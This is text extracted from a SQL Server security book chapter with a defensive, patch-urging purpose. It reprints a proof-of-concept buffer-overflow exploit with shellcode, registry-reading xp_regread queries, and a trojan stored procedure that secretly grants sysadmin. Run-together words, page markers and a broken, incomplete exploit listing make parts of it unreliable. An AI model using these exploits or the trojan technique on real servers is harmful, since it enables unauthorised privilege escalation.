In order to illustrate the urgency of applying service packs and hotfixes, wediscuss some of the more high-profile privilege escalation vulnerabilities that haveoccurred since SQL Server 2000 Service Pack 2 At the time of this writing,there are no less than 13 vulnerabilities that can escalate a user’s privilege, usuallyvia a buffer overflow.The escalation provides the attacker with operating systemprivilege equal to that of the service account, which easily gives the attackeraccess to the management-related Registry keys and read/write access to alldatabase (.MDF) files.Table 12.5 lists some of the more popular vulnerabilitiesthat currently exist and where to find more information

Table 12.5SQL Server 2000 Post SP2 Privilege Escalation Vulnerabilities

Microsoft SQL Server Extended www.ngssoftware.com/advisories/

Stored Procedure Privilege mssql-esppu.txt

Elevation Vulnerability

Microsoft SQL Agent Jobs www.ngssoftware.com/advisories/

Privilege Elevation Vulnerability mssql-jobs.txt

Microsoft SQL Server 2000 and www.ngssoftware.com/advisories/

7 Remotely Exploitable Buffer mssql-ors.txt

Overrun Vulnerability in the

OpenRowSet Function

Microsoft SQL Server 2000 http://online.securityfocus.com/bid/5307 Database Consistency Checkers

Buffer Overflow Vulnerability

Microsoft SQL Server 2000 http://online.securityfocus.com/bid/5309 Replication Stored Procedures

Trang 27

Microsoft SQL Server 2000 http://online.securityfocus.com/bid/5014 Password Encrypt Procedure

Buffer Overflow Vulnerability Microsoft SQL Server SQLXML http://online.securityfocus.com/bid/5004 Buffer Overflow Vulnerability

Microsoft SQL Server SQLXML http://online.securityfocus.com/bid/5005 Script Injection Vulnerability

Microsoft SQL Server 2000 Bulk http://online.securityfocus.com/bid/4847 Insert Procedure Buffer Overflow

Vulnerability Microsoft SQL Server 2000 http://online.securityfocus.com/bid/5205 Incorrect Registry Key Permissions

Vulnerability Microsoft SQL Server Multiple http://online.securityfocus.com/bid/4231 Extended Stored Procedure

Buffer Overflow Vulnerabilities Microsoft SQL Server OLE DB http://online.securityfocus.com/bid/4135 Provider Name Buffer Overflow

Vulnerability

Never assume that unsophisticated attackers lack the ability to stage successfulbuffer overflow attacks against your servers In many cases, they can simply makemodifications to exploit samples written by computer security professionals thatserve as a proof-of-concept.The following source code, written by DavidLitchfield of NGSSoftware, which remotely exploits a buffer overflow in theMicrosoft Jet database engine using SQL Server as the injection mechanism, wasfound on the Internet using a simple search engine Keep in mind that the solu-tion is not to stop professionals from releasing vulnerabilities and proof-of-con-cept exploits but for administrators to do their jobs and patch their systems

Simple Proof of Concept

Exploits a buffer overrun in OpenDataSource()

Demonstrates how to exploit a UNICODE overflow using T-SQL Calls CreateFile() creating a file called c:\SQL-ODSJET-BO I'm overwriting the saved return address with 0x42B0C9DC

Table 12.5SQL Server 2000 Post SP2 Privilege Escalation Vulnerabilities

Trang 28

This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2

The address holds a jmp esp instruction.

declare @exploit nvarchar(4000)

declare @padding nvarchar(2000)

declare @saved_return_address nvarchar(20)

declare @code nvarchar(1000)

declare @pad nvarchar(16)

change if running a different service pack

Trang 29

select @code = 0x558BEC33C05068542D424F6844534A4568514C 2D4F68433A5C538D142450504050485050B0C050

52B8876FE877FFD0CCCCCCCCCC select @exploit = N'SELECT * FROM penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\' select @exploit = @exploit + @padding + @saved_return_address +

@more_pad +

@code select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'') xactions'

exec (@exploit)

Gaining Operating System Privileges

One of the key ways to achieve access to the operating system in SQL Server is

the use of the xp_cmdshell extended stored procedure By default, this procedure

can be executed only by a member of the System Administrators system role

When a user issues a command with this procedure, their commands are cuted by the operating system with the security context of the SQL Server ser-vice account.The operating system context for the SQL Server service can bequeried by any user by simply reading a key from the Registry:

exe-exec master xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\

Services\MSSQLSERVER','ObjectName'

For named instances, simply replace MSSQLSERVER with MSSQL$

fol-lowed by the instance name as follows:

exec master xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\

Services\MSSQL$NetSDK','ObjectName'

If one is only a normal user, he is generally not capable of issuing a commandshell However, due to some rather nasty bugs in SQL Server that have occurredover the years, an unpatched server is vulnerable to a number of issues, including

numerous buffer overflows in extended stored procedures, the pwdencrypt()

func-tion, and the bulk insert command All of these issues and more can be found

at http://online.securityfocus.com/cgi-bin/sfonline/vulns.pl and specifying

“Microsoft” and “SQL Server” as the vendor and title respectively Never expose

an unpatched server to users of any level of authority Assume that any user withaccess to an unpatched server can both escalate privilege and gain access to theoperating system

Trang 30

Trojan Procedures/Backdoors

When all else fails,Trojan code can be a great way to escalate privileges In mostcases, it implies that a certain level of authority already exists.They real key is toget someone with an even higher level of privilege to do something that youcan’t.We explore a sample Trojan attack although the methods for this type ofattack are limited only by the imagination

Let’s use an example where a rogue DBO or DDLAdmin (Data DefinitionLanguage Administrator) wants to elevate themselves to the level of a systemadministrator.There are times, when performing administrative duties, that

admins can be lazy and not pay attention to what database they are in whencalling system stored procedures In general, this is not a critical issue when

calling stored procedures that start with sp_ since the system always looks in the

master database first when executing a stored procedure with that prefix

However, for extended stored procedures (procedures beginning with xp_), the

system looks only in the current database Because of this, it is possible to create astored procedure in a database with the same name as an extended stored proce-dure in the master database If a system admin executes this procedure and forgets

to change over the master database, the Trojan code will be executed

create procedure dbo.xp_cmdshell

@cmd varchar(1000) as

set nocount on

exec sp_addsrvrolemember 'dbo_hacker', 'sysadmin'

exec master xp_cmdshell @cmd

In this case, we took special care to add our login to the sysadmin server role

and then executed the command that the administrator was trying to execute.Our Trojan code wouldn’t be very effective if it failed to do what the adminintended and they became suspicious Other possibilities for Trojan attacks

include replacing extended stored procedure DLLs at runtime or writing anapplication that you know the system admin will eventually use that silentlyattempts to execute Trojan commands

Trang 31

SQL Server deployment—installation, configuration, and maintenance Each stage

of the SQL Server’s deployment has unique options and consequences.We look

at each in depth, and hopefully you will able to make the correct decisions foryour specific needs while not accidentally leaving the keys to the kingdom onthe doorstep

Planning for a Secure Installation

A secure SQL Server begins with a secure installation Many times, the window

of opportunity that exists between a weak installation and an eventual hardening

of the server is more than enough for an attacker to sabotage SQL Servers allover your organization.Taking the time to plan for a more secure installationprocedure as well as ensuring automated installs makes smarter, more securedeployments the norm

Authentication

Always default an automated or manual installation to use Windows tion.You can always change this later, and it’s best to close the door on anyonewho may want to brute force SQL Server’s native authentication mechanismsbefore you have a chance to set up auditing and alerts on the server.This is espe-cially important for automated installations of SQL Server or when workstationsare deployed using disk image programs such as Norton Ghost Sadly, many shopsstill push out automated SQL Server installs in mixed security mode with nopassword (or a static password) for all clients Don’t let this happen to you

authentica-Remember that it is always possible to change the authentication requirements if

an application demands it

Assigning a Strong ‘sa’ Account Password

This is the single-most important thing you need to do during an installation nomatter what authentication option you choose If you choose the Windows andSQL Server authentication model, you will be prompted at installation time for

the ‘sa’ account credentials If you install with Windows authentication, it is still important that you set a strong ‘sa’ password first thing after installation.You can

automate this using the following command at the system prompt:

osql -E -Q "declare @id char(36) set @id=newid() exec sp_password null,@id,'sa'"

This will set the ‘sa’ account to a Globally Unique Identifier (GUID) and

should be “strong enough” to stand up to brute forcing for some time due to its

Ngày đăng: 18/10/2015, 23:47

TỪ KHÓA LIÊN QUAN